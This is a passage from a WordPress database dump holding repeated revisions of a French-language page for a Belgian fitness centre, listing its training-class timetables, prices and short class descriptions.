nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:33:05', '2013-07-03 16:33:05', '', 11, 'http://www.crosstrainingcenter.be/?p=169', 0, 'revision', '', 0),
(165, 1, '2013-07-03 16:28:22', '2013-07-03 16:28:22', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:28:22', '2013-07-03 16:28:22', '', 11, 'http://www.crosstrainingcenter.be/?p=165', 0, 'revision', '', 0),
(163, 1, '2013-07-03 16:26:59', '2013-07-03 16:26:59', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 